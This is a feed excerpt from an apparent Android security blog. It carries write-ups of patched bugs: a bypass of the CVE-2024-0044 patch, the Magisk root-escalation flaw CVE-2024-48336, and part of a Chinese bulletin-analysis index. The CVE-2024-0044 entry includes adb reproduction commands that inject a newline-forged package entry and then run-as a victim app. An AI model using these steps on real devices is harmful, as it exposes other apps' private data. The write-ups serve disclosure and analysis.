<del>(你先把你脑子治好再说话才能让人信服)</del>。如果你仍然愿意投入时间精力研究,那我相信 Google 不会亏待你。正所谓:天道酬勤。</p>]]></content>
<summary type="html">
<p>本文适用于已对 Android 开发有基础了解,希望了解 Android 系统层常见安全漏洞的人。祝大家写代码无 bug,挖洞天天挖到 Critical RCE 漏洞链。<br>本文开始创作时间:2024-02-19 完成时间:2024-02-29 发布时间:2024-11-05</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="安全" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Reviving an already patched vulnerability for half a year? The second spring of CVE-2024-0044</title>
<link href="https://blog.canyie.top/2024/10/08/CVE-2024-0044/"/>
<id>https://blog.canyie.top/2024/10/08/CVE-2024-0044/</id>
<published>2024-10-08T00:00:00.000Z</published>
<updated>2024-11-12T10:00:51.212Z</updated>
<content type="html"><![CDATA[<p>This is a bypass of the initial patch of CVE-2024-0044, a High severity vulnerability in the Android framework that allows attackers with adb access to execute arbitrary code under the UID of arbitrary app.<br>The following is copied from my repo <a href="https://github.com/canyie/CVE-2024-0044" target="_blank" rel="noopener">https://github.com/canyie/CVE-2024-0044</a> for backup purposes. For more info such as PoC code, please check the original repo.</p><a id="more"></a><h2 id="Basics"><a href="#Basics" class="headerlink" title="Basics"></a>Basics</h2><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-0044" target="_blank" rel="noopener">CVE-2024-0044/A-307532206</a> is a High severity vulnerability in the Android framework that allows attackers with adb access to run arbitrary code under the UID of arbitrary app. It was originally found by Tom Hebb from Meta Red Team X. You can found many articles on exploit this vulnerability on the Internet such as <a href="https://www.mobile-hacker.com/2024/06/17/exfiltrate-sensitive-user-data-from-apps-on-android-12-and-13-using-cve-2024-0044-vulnerability/" target="_blank" rel="noopener">this</a> and <a href="https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/" target="_blank" rel="noopener">this</a>. For more info, check this blog: <a href="https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html" target="_blank" rel="noopener">https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html</a></p><p><a href="https://android.googlesource.com/platform/frameworks/base/+/65bd134b0a82c51a143b89821d5cdd00ddc31792" target="_blank" rel="noopener">The patch</a> for this vulnerability is included in the <a href="https://source.android.com/docs/security/bulletin/2024-03-01" target="_blank" rel="noopener">March 2024 Android Security Bulletin</a>, but now I come up with an exploit that bypasses the patch. The new patch is included in <a href="https://source.android.com/docs/security/bulletin/2024-10-01" target="_blank" rel="noopener">October 2024 Android Security Bulletin</a> under the same CVE ID CVE-2024-0044. Android 12-13 devices with security patch level before 2024-10-01 are vulnerable to this issue.</p><p>The repo contains a minimum reproducible PoC and a writeup.</p><h2 id="What’s-wrong-with-the-original-patch"><a href="#What’s-wrong-with-the-original-patch" class="headerlink" title="What’s wrong with the original patch?"></a>What’s wrong with the original patch?</h2><p>The patch added a validation for installer package name passed to the PackageManagerService:</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java</span><br><span class="line">index 2ca3e8f..02515cf 100644</span><br><span class="line"><span class="comment">--- a/services/core/java/com/android/server/pm/PackageInstallerService.java</span></span><br><span class="line"><span class="comment">+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java</span></span><br><span class="line"><span class="meta">@@ -47,6 +47,7 @@</span></span><br><span class="line"> import android.content.pm.PackageManager;</span><br><span class="line"> import android.content.pm.ParceledListSlice;</span><br><span class="line"> import android.content.pm.VersionedPackage;</span><br><span class="line"><span class="addition">+import android.content.pm.parsing.ParsingPackageUtils;</span></span><br><span class="line"> import android.graphics.Bitmap;</span><br><span class="line"> import android.net.Uri;</span><br><span class="line"> import android.os.Binder;</span><br><span class="line"><span class="meta">@@ -601,17 +602,22 @@</span></span><br><span class="line"> </span><br><span class="line"> // App package name and label length is restricted so that really long strings aren't</span><br><span class="line"> // written to disk.</span><br><span class="line"><span class="deletion">- if (params.appPackageName != null</span></span><br><span class="line"><span class="deletion">- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {</span></span><br><span class="line"><span class="addition">+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {</span></span><br><span class="line"> params.appPackageName = null;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> params.appLabel = TextUtils.trimToSize(params.appLabel,</span><br><span class="line"> PackageItemInfo.MAX_SAFE_LABEL_LENGTH);</span><br><span class="line"> </span><br><span class="line"><span class="deletion">- String requestedInstallerPackageName = (params.installerPackageName != null</span></span><br><span class="line"><span class="deletion">- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)</span></span><br><span class="line"><span class="deletion">- ? params.installerPackageName : installerPackageName;</span></span><br><span class="line"><span class="addition">+ // Validate installer package name.</span></span><br><span class="line"><span class="addition">+ if (params.installerPackageName != null && !isValidPackageName(</span></span><br><span class="line"><span class="addition">+ params.installerPackageName)) {</span></span><br><span class="line"><span class="addition">+ params.installerPackageName = null;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ String requestedInstallerPackageName =</span></span><br><span class="line"><span class="addition">+ params.installerPackageName != null ? params.installerPackageName</span></span><br><span class="line"><span class="addition">+ : installerPackageName;</span></span><br><span class="line"> </span><br><span class="line"> if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {</span><br><span class="line"> params.installFlags |= PackageManager.INSTALL_FROM_ADB;</span><br><span class="line"><span class="meta">@@ -935,6 +941,19 @@</span></span><br><span class="line"> throw new IllegalStateException("Failed to allocate session ID");</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"><span class="addition">+ private static boolean isValidPackageName(@NonNull String packageName) {</span></span><br><span class="line"><span class="addition">+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {</span></span><br><span class="line"><span class="addition">+ return false;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+ // "android" is a valid package name</span></span><br><span class="line"><span class="addition">+ String errorMessage = ParsingPackageUtils.validateName(</span></span><br><span class="line"><span class="addition">+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);</span></span><br><span class="line"><span class="addition">+ if (errorMessage != null) {</span></span><br><span class="line"><span class="addition">+ return false;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+ return true;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+</span></span><br></pre></td></tr></table></figure><p>You can see <code>params.installerPackageName</code> will be reset to null if it is not an legal Android package name. However, at the next line, <code>requestedInstallerPackageName</code> can be <code>installerPackageName</code> when <code>params.installerPackageName</code> is null or invalid.</p><p>What is <code>installerPackageName</code>?</p><p>Let’s take a look at the <code>createSessionInternal</code> method, where the patch was added to:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">createSession</span><span class="params">(SessionParams params, String installerPackageName,</span></span></span><br><span class="line"><span class="function"><span class="params"> String callingAttributionTag, <span class="keyword">int</span> userId)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">return</span> createSessionInternal(params, installerPackageName, callingAttributionTag,</span><br><span class="line"> userId);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> <span class="keyword">throw</span> ExceptionUtils.wrap(e);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">int</span> <span class="title">createSessionInternal</span><span class="params">(SessionParams params, String installerPackageName,</span></span></span><br><span class="line"><span class="function"><span class="params"> String installerAttributionTag, <span class="keyword">int</span> userId)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> IOException</span>{</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>You can see that <code>installerPackageName</code> is a separate argument that does not come from <code>param</code>. The original patch validated <code>params.installerPackageName</code>, but forgot to validate <code>installerPackageName</code>.</p><h2 id="Reproduction"><a href="#Reproduction" class="headerlink" title="Reproduction"></a>Reproduction</h2><p>You can just use the original exploit code from Tom Hebb’s blog to reproduce it. This repo also contains a minimum reproducible PoC. If you want to test my PoC, just build it, push the generated apk to <code>/data/local/tmp/poc.apk</code>, then run the following code with <code>adb shell</code>:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">APK=/data/local/tmp/poc.apk</span><br><span class="line">PAYLOAD="@null</span><br><span class="line">victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"</span><br><span class="line">app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"</span><br><span class="line">run-as victim</span><br></pre></td></tr></table></figure><p>replace <code><victim uid></code> with the UID of the victim app.</p><p>If you want to play the game again, run <code>adb uninstall top.canyie.cve_2024_0044</code> and re-run the code above.</p><h2 id="How-it-happened-twice"><a href="#How-it-happened-twice" class="headerlink" title="How it happened twice?"></a>How it happened twice?</h2><p>The issue looks obvious, how did it escape everyone’s sight?</p><p>Well, Google did add <a href="https://cs.android.com/android/platform/superproject/+/main:cts/tests/tests/security/src/android/security/cts/CVE_2024_0044.java" target="_blank" rel="noopener">a test</a> for this issue to ensure it is fixed:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Set vulnerable 'appPackageName' and 'installerPackageName'</span></span><br><span class="line"><span class="comment">// for 'SessionParams' instance</span></span><br><span class="line"><span class="keyword">final</span> String vulnPackageName =</span><br><span class="line"> context.getPackageName() + <span class="string">"\n"</span> + context.getPackageName();</span><br><span class="line"><span class="keyword">final</span> SessionParams params = <span class="keyword">new</span> SessionParams(MODE_FULL_INSTALL);</span><br><span class="line">params.setAppPackageName(vulnPackageName);</span><br><span class="line">params.setInstallerPackageName(vulnPackageName);</span><br><span class="line"></span><br><span class="line"><span class="keyword">final</span> List<String> vulnerableFields = <span class="keyword">new</span> ArrayList<String>();</span><br><span class="line">runWithShellPermissionIdentity(</span><br><span class="line"> () -> {</span><br><span class="line"> <span class="comment">// Create session using 'SessionParams' instance, get 'appPackageName' and</span></span><br><span class="line"> <span class="comment">// 'installerPackageName' corresponding to session and abandon session later</span></span><br><span class="line"> <span class="keyword">final</span> PackageInstaller packageInstaller =</span><br><span class="line"> context.getPackageManager().getPackageInstaller();</span><br><span class="line"> <span class="keyword">final</span> <span class="keyword">int</span> sessionId = packageInstaller.createSession(params);</span><br><span class="line"> <span class="keyword">final</span> String vulnerableAppPackageName =</span><br><span class="line"> packageInstaller.getSessionInfo(sessionId).getAppPackageName();</span><br><span class="line"> <span class="keyword">final</span> String vulnerableInstallerPackageName =</span><br><span class="line"> packageInstaller</span><br><span class="line"> .getSessionInfo(sessionId)</span><br><span class="line"> .getInstallerPackageName();</span><br><span class="line"> packageInstaller.abandonSession(sessionId);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Without fix, 'appPackageName' and 'installerPackageName' does not undergo</span></span><br><span class="line"> <span class="comment">// internal validation and are set to 'vulnPackageName' which contain '\n'</span></span><br><span class="line"> <span class="keyword">if</span> (vulnerableAppPackageName != <span class="keyword">null</span></span><br><span class="line"> && vulnerableAppPackageName.contains(<span class="string">"\n"</span>)) {</span><br><span class="line"> vulnerableFields.add(<span class="string">"'SessionParams.appPackageName'"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (vulnerableInstallerPackageName != <span class="keyword">null</span></span><br><span class="line"> && vulnerableInstallerPackageName.contains(<span class="string">"\n"</span>)) {</span><br><span class="line"> vulnerableFields.add(<span class="string">"'SessionParams.installerPackageName'"</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line">String errorMessage =</span><br><span class="line"> <span class="string">"Device is vulnerable to b/307532206 !!"</span></span><br><span class="line"> + <span class="string">" packages.list newline injection allows"</span></span><br><span class="line"> + <span class="string">" run-as as any app from ADB"</span></span><br><span class="line"> + <span class="string">" Due to : Fix is not present for "</span>;</span><br><span class="line">assertWithMessage(errorMessage.concat(String.join(<span class="string">" , "</span>, vulnerableFields)))</span><br><span class="line"> .that(vulnerableFields)</span><br><span class="line"> .isEmpty();</span><br></pre></td></tr></table></figure><p>The test uses the public standard PackageInstaller API which does not allow customizing <code>installerPackageName</code>. In the public API, <code>installerPackageName</code> is always set to the real package name of provided Context:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">createSession</span><span class="params">(@NonNull SessionParams params)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">return</span> mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,</span><br><span class="line"> mUserId);</span><br><span class="line"> } <span class="keyword">catch</span> (RuntimeException e) {</span><br><span class="line"> ExceptionUtils.maybeUnwrapIOException(e);</span><br><span class="line"> <span class="keyword">throw</span> e;</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> <span class="keyword">throw</span> e.rethrowFromSystemServer();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>When the caller is a 3rd-party app, <code>installerPackageName</code> is guaranteed to belong to the caller; when the caller is adb, it will always be reset to null, so this seems fine:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">String requestedInstallerPackageName =</span><br><span class="line"> params.installerPackageName != <span class="keyword">null</span> ? params.installerPackageName</span><br><span class="line"> : installerPackageName;</span><br><span class="line"><span class="keyword">if</span> ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {</span><br><span class="line"> params.installFlags |= PackageManager.INSTALL_FROM_ADB;</span><br><span class="line"> <span class="comment">// adb installs can override the installingPackageName, but not the</span></span><br><span class="line"> <span class="comment">// initiatingPackageName</span></span><br><span class="line"> installerPackageName = <span class="keyword">null</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (callingUid != Process.SYSTEM_UID) {</span><br><span class="line"> <span class="comment">// The supplied installerPackageName must always belong to the calling app.</span></span><br><span class="line"> mAppOps.checkPackage(callingUid, installerPackageName);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the</span></span><br><span class="line"> <span class="comment">// caller.</span></span><br><span class="line"> <span class="keyword">if</span> (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {</span><br><span class="line"> <span class="keyword">if</span> (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)</span><br><span class="line"> != PackageManager.PERMISSION_GRANTED) {</span><br><span class="line"> mAppOps.checkPackage(callingUid, requestedInstallerPackageName);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>However, the operation occurs after <code>requestedInstallerPackageName</code> is set to <code>installerPackageName</code>, so the original value is kept.</p><p>But if they run the original PoC provided by Tom Hebb instead of writing their own, they can catch the problem as the pm command calls the underlying <code>createSession</code> method with customized <code>installerPackageName</code>.</p><p>One more question, why the problem isn’t caught by someone else while the PoC is publicly accessible?</p><p>Well, this vulnerability has been analyzed, reproduced and exploited by many people on the Internet, and there is an <a href="https://mp.weixin.qq.com/s/PoGRFwUD736nkLocRGvP_g" target="_blank" rel="noopener">article</a> written by Qidan He (flanker) of JD Dawn Security Lab (this is a very interesting article about CVE-2024-31317 btw) that says “其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp” (“CVE-2024-0044 has been widely analyzed and publicly exploited in the technical community because it is simple and direct”), however no one noticed it as if every one were under a spell.</p><p>In fact, <a href="https://bbs.kanxue.com/thread-282373.htm" target="_blank" rel="noopener">someone has successfully reproduced the exploit on patched builds</a>, but the author doesn’t seem to realize what happened. I found it by a code review and reported it on May 16, 2024, 2 months after the original patch was released. If anyone before me would have taken a few extra seconds to carefully look at the patch, or just try running the PoC on patched builds to see whether the issue is actually fixed, the bug bounty would have been theirs. This sounds like a Chinese lyric, “再多看一眼就会爆炸”(”One more look and it will explode”).</p>]]></content>
<summary type="html">
<p>This is a bypass of the initial patch of CVE-2024-0044, a High severity vulnerability in the Android framework that allows attackers with adb access to execute arbitrary code under the UID of arbitrary app.<br>The following is copied from my repo <a href="https://github.com/canyie/CVE-2024-0044" target="_blank" rel="noopener">https://github.com/canyie/CVE-2024-0044</a> for backup purposes. For more info such as PoC code, please check the original repo.</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="安全" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>MagiskEoP (CVE-2024-48336): Magisk App Arbitrary Code Execution Vulnerability</title>
<link href="https://blog.canyie.top/2024/08/24/CVE-2024-48336/"/>
<id>https://blog.canyie.top/2024/08/24/CVE-2024-48336/</id>
<published>2024-08-24T04:00:00.000Z</published>
<updated>2024-11-12T09:57:26.278Z</updated>
<content type="html"><![CDATA[<p>Magisk App before Canary version 27007 contains a vulnerability CVE-2024-48336, which allows a local untrusted app with no additional privileges to silently execute arbitrary code in the Magisk app and escalate privileges to root via a crafted package without user interaction.<br>The following is copied from my repo <a href="https://github.com/canyie/MagiskEoP" target="_blank" rel="noopener">https://github.com/canyie/MagiskEoP</a> for backup purposes. For more info such as PoC code, please check the original repo.</p><a id="more"></a><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>This is an exploit for a vulnerability CVE-2024-48336 in Magisk app that allows a local app to silently gain root access without user consent.</p><p>Vulnerability was initially reported by <a href="https://github.com/vvb2060" target="_blank" rel="noopener">@vvb2060</a> and PoC-ed by <a href="https://github.com/canyie" target="_blank" rel="noopener">@canyie</a>. It has been fixed in Canary 27007.</p><p>Demo video for exploit this vulnerability to silently obtaining root privileges and granting root to any app: <a href="https://github.com/canyie/MagiskEoP/blob/main/screen-20220302-093745.mp4" target="_blank" rel="noopener">https://github.com/canyie/MagiskEoP/blob/main/screen-20220302-093745.mp4</a></p><p>Steps to reproduce this vulnerability:</p><ol><li>Install vulnerable Magisk app builds on a device that has no GMS preinstalled</li><li>Install this exploit app</li><li>Force stop Magisk app and this exploit app</li><li>Open Magisk app</li><li>Open this exploit app, type your commands and press Execute to execute them with root privileges</li></ol><h2 id="Vulnerability-Info"><a href="#Vulnerability-Info" class="headerlink" title="Vulnerability Info"></a>Vulnerability Info</h2><p>Name: Magisk App Arbitrary Code Execution Vulnerability</p><p>Alias: Magisk Privilege Escalation Vulnerability</p><h3 id="The-Basics"><a href="#The-Basics" class="headerlink" title="The Basics"></a>The Basics</h3><p>Product: Magisk</p><p>CVE: <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-48336" target="_blank" rel="noopener">CVE-2024-48336</a></p><p>Reporter: <a href="https://github.com/vvb2060" target="_blank" rel="noopener">@vvb2060</a></p><p>Initial Report Date: 2024-08-01</p><p>Patch Date: 2024-08-21</p><p>Disclosure Date: 2024-08-24</p><p>Affected Versions: Manager v7.0.0 ~ Canary 27006</p><p>First Patched Versions: Canary 27007</p><p>Issue/Bug report: <a href="https://github.com/topjohnwu/Magisk/issues/8279" target="_blank" rel="noopener">https://github.com/topjohnwu/Magisk/issues/8279</a></p><p>Patch CL: <a href="https://github.com/topjohnwu/Magisk/commit/c2eb6039579b8a2fb1e11a753cea7662c07bec02" target="_blank" rel="noopener">https://github.com/topjohnwu/Magisk/commit/c2eb6039579b8a2fb1e11a753cea7662c07bec02</a></p><p>Bug-introducing CL: <a href="https://github.com/topjohnwu/Magisk/commit/920b60da19212dd8d54d27ada77a30067ce50de6" target="_blank" rel="noopener">https://github.com/topjohnwu/Magisk/commit/920b60da19212dd8d54d27ada77a30067ce50de6</a></p><p>Bug Class: Unsafe Dynamic External Code Loading</p><p>Weakness Enumerations:</p><ul><li><a href="https://cwe.mitre.org/data/definitions/386.html" target="_blank" rel="noopener">CWE-386: Symbolic Name not Mapping to Correct Object</a></li><li><a href="https://cwe.mitre.org/data/definitions/829.html" target="_blank" rel="noopener">CWE-829: Inclusion of Functionality from Untrusted Control Sphere</a></li></ul><h3 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h3><p>The install() function of ProviderInstaller.java in Magisk App before canary version 27007 does not verify the GMS app before loading it, which allows a local untrusted app with no additional privileges to silently execute arbitrary code in the Magisk app and escalate privileges to root via a crafted package, aka Bug #8279. User interaction is not needed for exploitation.</p><h3 id="Details"><a href="#Details" class="headerlink" title="Details"></a>Details</h3><p>Old Android versions do not support some algorithms. To make Magisk work properly on these platforms, it tries to load conscrypt from GMS by calling <a href="https://developer.android.com/reference/android/content/Context#createPackageContext(java.lang.String,%20int)" target="_blank" rel="noopener">createCallingContext()</a>. Check this link for more details: <a href="https://t.me/vvb2060Channel/692" target="_blank" rel="noopener">https://t.me/vvb2060Channel/692</a></p><p>However, GMS is not always preinstalled on all devices. Magisk assumes that loading code from GMS is always safe, however attackers can create a fake malicious app with the same package name. When Magisk app is launched, malicious code will get executed in Magisk app. Since Magisk app is always granted root access, this allows attackers to silently gain root access and execute arbitrary code with root privileges without user acceptance.</p><h3 id="Vulnerable-Devices"><a href="#Vulnerable-Devices" class="headerlink" title="Vulnerable Devices"></a>Vulnerable Devices</h3><ul><li>Devices with no GMS preinstalled</li><li>Devices with broken signature verification implementation (e.g. Disabled by CorePatch)</li></ul><p>Note: This issue is fixed in Canary 27007 by ensuring GMS is a system app before loading it. However, it’s still possible to exploit this issue on devices with pre-installed GMS but have broken signature verification implementations (e.g. CorePatch).</p><p>Note 2: Although a fix for this issue is present in the official Magisk app, there are many other instances of similar code exist in other apps without a proper fix such as <a href="https://github.com/Fox2Code/FoxMagiskModuleManager/blob/master/app/src/main/java/com/fox2code/mmm/utils/io/GMSProviderInstaller.java#L51" target="_blank" rel="noopener">this</a> and <a href="https://github.com/vvb2060/KeyAttestation/blob/master/app/src/main/java/io/github/vvb2060/keyattestation/AppApplication.kt#L37" target="_blank" rel="noopener">this</a>. This potentially allows an arbitrary code execution in vulnerable apps and potentially allows attackers to gain root access again if it is granted to victim apps.</p>]]></content>
<summary type="html">
<p>Magisk App before Canary version 27007 contains a vulnerability CVE-2024-48336, which allows a local untrusted app with no additional privileges to silently execute arbitrary code in the Magisk app and escalate privileges to root via a crafted package without user interaction.<br>The following is copied from my repo <a href="https://github.com/canyie/MagiskEoP" target="_blank" rel="noopener">https://github.com/canyie/MagiskEoP</a> for backup purposes. For more info such as PoC code, please check the original repo.</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="magisk" scheme="https://blog.canyie.top/tags/magisk/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="安全" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Android 每月安全补丁分析索引</title>
<link href="https://blog.canyie.top/2024/04/18/android-security-bulletin-index/"/>
<id>https://blog.canyie.top/2024/04/18/android-security-bulletin-index/</id>
<published>2024-04-18T11:27:12.000Z</published>
<updated>2024-12-08T11:00:46.261Z</updated>
<content type="html"><![CDATA[<p>之前一直在看的每月补丁分析的博客 <a href="https://wrlus.com/" target="_blank" rel="noopener">https://wrlus.com/</a> 看起来是不再更新了,想了想反正自己每个月也要去追着看,干脆写一下分析得了,方便自己后面找。</p><p>本人很菜,分析的大部分都是 Java 层漏洞,大佬别骂我 QAQ</p><p>最初发表在我的 telegram 频道。每月补丁都会在此文中更新。</p><p>最后更新时间:2024/12/08 更新内容:更新 2024-12</p><a id="more"></a><h2 id="2024-12-01"><a href="#2024-12-01" class="headerlink" title="2024-12-01"></a>2024-12-01</h2><p>不知不觉,这个栏目竟然就开了整整一年了,说实话我自己都没想到我竟然能坚持一年,感谢大家一直以来的陪伴!<br>经过一年更新,这篇文章已经过长,从 2025 年开始将开一个新的文章进行更新,以后应该每年都会开新文章。我们明年再见!<br>另外为什么这个月补丁这么少?才六个,跟以前的完全不是一个量级</p><h3 id="Framework"><a href="#Framework" class="headerlink" title="Framework"></a>Framework</h3><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43762" target="_blank" rel="noopener">CVE-2024-43762</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/ae43ac7f3d3d5112b0f54b5315a15b08208acf9c" target="_blank" rel="noopener">1</a><br>此漏洞由我发现并报告。<br>App Widget Service 绑定到 app 的 service 时没有正确处理 onNullBinding,会导致连接不会被销毁。</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43764" target="_blank" rel="noopener">CVE-2024-43764</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/70eb75df7d342429c3ee225feb7c011df727442f" target="_blank" rel="noopener">1</a><br>设备没解锁的时候禁止进入交互式剪贴板页面,否则可能让接触到设备的攻击者通过剪贴板里已有的 intent 逃逸出锁屏。其实应该还有信息泄漏?</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-43769" target="_blank" rel="noopener">CVE-2024-43769</a> EoP High <a href="https://android.googlesource.com/platform/frameworks/base/+/619ffc299bf33566ba6daee8301ee0fc96e015f4" target="_blank" rel="noopener">1</a><br><del>还有高手(??</del><br>如果 Device Management 这个 role 的持有者是系统应用,在其他用户也将其当作 device admin 而非仅在它所在的用户,因为 apk 的版本是跨用户全局共享的,在一个无关用户选择卸载更新会影响其他受管用户,对设备管理功能造成潜在影响,应该禁止。<br>Device Management Role 这个功能其实没看见有多少人用,应该还是传统的 device owner / profile owner 用的人比较多。</p><h3 id="System"><a href="#System" class="headerlink" title="System"></a>System</h3><p>三个都是 libskia 中的内存漏洞,这种情况还是很少见的。简单看了一下和上个月的 CVE-2024-43091 